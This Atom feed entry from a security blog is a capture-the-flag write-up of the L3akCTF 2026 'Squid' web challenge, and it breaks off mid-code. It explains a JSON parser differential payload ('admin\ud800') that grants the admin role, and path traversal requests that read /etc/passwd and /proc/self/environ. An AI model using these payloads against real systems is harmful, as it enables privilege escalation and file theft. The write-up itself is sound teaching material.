<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Vincenzo Turturro | Offensive Security Researcher</title>
  <subtitle>Offensive security research, web application penetration testing, vulnerability disclosures, CVEs, and technical writing by Vincenzo Turturro.</subtitle>
  <link href="https://sush1.wtf/feed.xml" rel="self"/>
  <link href="https://sush1.wtf/"/>
  <updated>2026-08-05T00:00:00Z</updated>
  <id>https://sush1.wtf/</id>
  <author>
    <name>Vincenzo Turturro</name>
    <email>sush1@mntcrl.it</email>
  </author>
  
    <entry>
      <title>L3akCTF 2026: Squid, Explained</title>
      <link href="https://sush1.wtf/blog/l3akctf-26-squid-explained/"/>
      <updated>2026-08-05T00:00:00Z</updated>
      <id>https://sush1.wtf/blog/l3akctf-26-squid-explained/</id>
      <content type="html">&lt;h2&gt;A CI dashboard with a flag it cannot read&lt;/h2&gt;
&lt;p&gt;This weekend my &lt;a href=&quot;https://mntcrl.it/&quot;&gt;team&lt;/a&gt; played L3akCTF. I only had a few
hours, but we still managed to be one of the three teams that solved Squid, a
very unusual web challenge.&lt;/p&gt;
&lt;p&gt;The application looks like a small CI platform. It has registration, projects,
build manifests, workers, and downloadable artifacts. The flag is placed in
the container at:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/secrets/flag
owner: root:root
mode: 0600&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The public application runs as &lt;code&gt;ctf&lt;/code&gt;, so the apparent goal is impossible from
the public process alone. A direct file read can reach the path, but the user
does not have permission to open it.&lt;/p&gt;
&lt;p&gt;The useful question is therefore not “where is the flag?” but:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;What can the public app make another process do for us?&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The solve has six stages. We first obtain the role required by the interesting
endpoints, then use the download route as a local file read. A second parser
differential reaches the root-only build worker. That worker places the flag in
a runner environment, and the final stage abuses the way &lt;code&gt;send_file&lt;/code&gt; handles
procfs metadata.&lt;/p&gt;
&lt;h2&gt;The pieces we need to keep in mind&lt;/h2&gt;
&lt;p&gt;The container has three relevant processes:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Process&lt;/th&gt;
&lt;th&gt;User&lt;/th&gt;
&lt;th&gt;Role in the exploit&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Flask/Gunicorn public app&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ctf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Handles our requests and serves files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;worker.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;root&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reads the flag and starts runners&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;runner.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ctf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Inherits the expanded environment&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The startup script makes the separation explicit:&lt;/p&gt;
&lt;pre class=&quot;language-sh&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;%s&#39;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;${FLAG&lt;span class=&quot;token operator&quot;&gt;:-&lt;/span&gt;L3AK{missing_flag}&lt;/span&gt;}&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; /secrets/flag
&lt;span class=&quot;token function&quot;&gt;chown&lt;/span&gt; root:root /secrets/flag
&lt;span class=&quot;token function&quot;&gt;chmod&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;600&lt;/span&gt; /secrets/flag
&lt;span class=&quot;token builtin class-name&quot;&gt;unset&lt;/span&gt; FLAG

python /app/worker.py &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;

&lt;span class=&quot;token builtin class-name&quot;&gt;exec&lt;/span&gt; gosu ctf gunicorn &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
    --worker-class gthread &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
    &lt;span class=&quot;token parameter variable&quot;&gt;--workers&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
    &lt;span class=&quot;token parameter variable&quot;&gt;--threads&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
    --no-sendfile &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
    &lt;span class=&quot;token parameter variable&quot;&gt;--bind&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.0&lt;/span&gt;.0.0:5000 &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
    public_app:app&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the public app cannot read the secret, but the root worker can. Also, the
public app is one Gunicorn process with sixteen request threads. That last
detail looks like a deployment setting at first; it becomes important once we
start racing file descriptors.&lt;/p&gt;
&lt;h2&gt;The first break: one request, two JSON parsers&lt;/h2&gt;
&lt;p&gt;The interesting endpoints are protected by this check:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;is_staff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;role&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both manifest importing and downloads call &lt;code&gt;is_staff()&lt;/code&gt;. Registration is
supposed to create only ordinary users, so the next thing to inspect is how the
role is handled.&lt;/p&gt;
&lt;p&gt;The endpoint parses the body with the standard library first:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;raw &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_data&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
payload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; json&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;loads&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;raw&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; payload&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; jsonify&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;username is required&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;400&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; payload&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;role&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; jsonify&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;self-service accounts cannot request the admin role&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;403&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But it parses the exact same bytes again before storing the user:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;record &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ujson&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;loads&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;raw&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
username &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;record&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
role &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; record&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;role&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

USERS&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;username&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;role&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; role&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; record&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
session&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; username
session&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;role&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; role&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The browser is not even allowed to submit a role through the normal form, but
that is not a security boundary. We can send JSON directly. A normal attempt
fails as expected:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;solver&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;role&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The two parser calls give us an opening. With the challenge&#39;s pinned
&lt;code&gt;ujson==5.0.0&lt;/code&gt;, this body is interpreted differently:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;solver&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;role&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;admin&#92;ud800&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this version, the standard &lt;code&gt;json&lt;/code&gt; parser keeps the dangling surrogate as
part of the value, so the value is not exactly &lt;code&gt;admin&lt;/code&gt;. &lt;code&gt;ujson&lt;/code&gt; normalizes the
same value to &lt;code&gt;admin&lt;/code&gt; when the user record is stored.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Parser&lt;/th&gt;
&lt;th&gt;Used for&lt;/th&gt;
&lt;th&gt;Result for this body&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;json.loads&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Rejecting an admin role&lt;/td&gt;
&lt;td&gt;The value is not exactly &lt;code&gt;admin&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ujson.loads&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Saving the user and session&lt;/td&gt;
&lt;td&gt;The value becomes &lt;code&gt;admin&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This is not just malformed input. Both parsers accept the body; the problem is
that authorization is checked on one interpretation and authorization state
is saved from another.&lt;/p&gt;
&lt;p&gt;The behavior is related to the &lt;a href=&quot;https://github.com/advisories/GHSA-wpqr-jcpx-745r&quot;&gt;ujson surrogate handling advisory&lt;/a&gt;,
and the general class of ambiguities is explained in Bishop Fox&#39;s
&lt;a href=&quot;https://bishopfox.com/blog/json-interoperability-vulnerabilities&quot;&gt;JSON interoperability research&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The resulting request is enough to leave us with a session whose role is
&lt;code&gt;admin&lt;/code&gt;, which unlocks the two useful endpoints.&lt;/p&gt;
&lt;h2&gt;An accidental file server&lt;/h2&gt;
&lt;p&gt;The download handler looks short enough to be harmless:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/download/&amp;lt;path:target&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;download&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; is_staff&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; jsonify&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;artifact access is limited to organisation staff&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;403&lt;/span&gt;

    path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;WORK&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; target&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; send_file&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; OSError&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; jsonify&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;artifact not found&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;404&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;WORK&lt;/code&gt; is &lt;code&gt;/work&lt;/code&gt;, but &lt;code&gt;target&lt;/code&gt; is not constrained to stay below it. For
example:&lt;/p&gt;
&lt;p&gt;The route receives &lt;code&gt;/download/JOB_ID/../../etc/passwd&lt;/code&gt;. The application joins
that value to &lt;code&gt;/work&lt;/code&gt;, producing &lt;code&gt;/work/JOB_ID/../../etc/passwd&lt;/code&gt;, and the
filesystem resolves the parent-directory components to &lt;code&gt;/etc/passwd&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That gives us a local file read as &lt;code&gt;ctf&lt;/code&gt;. The challenge&#39;s proxy and the route
both make path encoding worth paying attention to, so the solver sends these
requests as raw HTTP and keeps the traversal path intact.&lt;/p&gt;
&lt;p&gt;Reading an ordinary file works immediately:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The primitive is real, but it does not solve the challenge. &lt;code&gt;/secrets/flag&lt;/code&gt; is
still readable only by root.&lt;/p&gt;
&lt;p&gt;The next obvious experiment is procfs. A process environment should be
interesting, especially because we know the public app has its own process:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/download/JOB_ID/../../proc/self/environ&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The response is surprising:&lt;/p&gt;
&lt;pre class=&quot;language-http&quot;&gt;&lt;code class=&quot;language-http&quot;&gt;&lt;span class=&quot;token response-status&quot;&gt;&lt;span class=&quot;token http-version property&quot;&gt;HTTP/1.1&lt;/span&gt; &lt;span class=&quot;token status-code number&quot;&gt;200&lt;/span&gt; &lt;span class=&quot;token reason-phrase string&quot;&gt;OK&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;application/octet-stream&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Content-Disposition&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;inline; filename=environ&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It finds the file, but sends no body. We will come back to that after getting
the flag into a process we are allowed to inspect.&lt;/p&gt;
&lt;h2&gt;Finding the internal service&lt;/h2&gt;
&lt;p&gt;The manifest endpoint is now available because we are staff. It wants to fetch
manifests only from trusted mirrors:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;TRUSTED_MIRRORS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;manifests.buildfarm.internal&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;cdn.buildfarm.internal&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;registry.buildfarm.internal&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/api/manifest&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;api_manifest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; is_staff&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; jsonify&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;importing manifests is limited to organisation staff&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;403&lt;/span&gt;

    body &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;silent&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; body&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
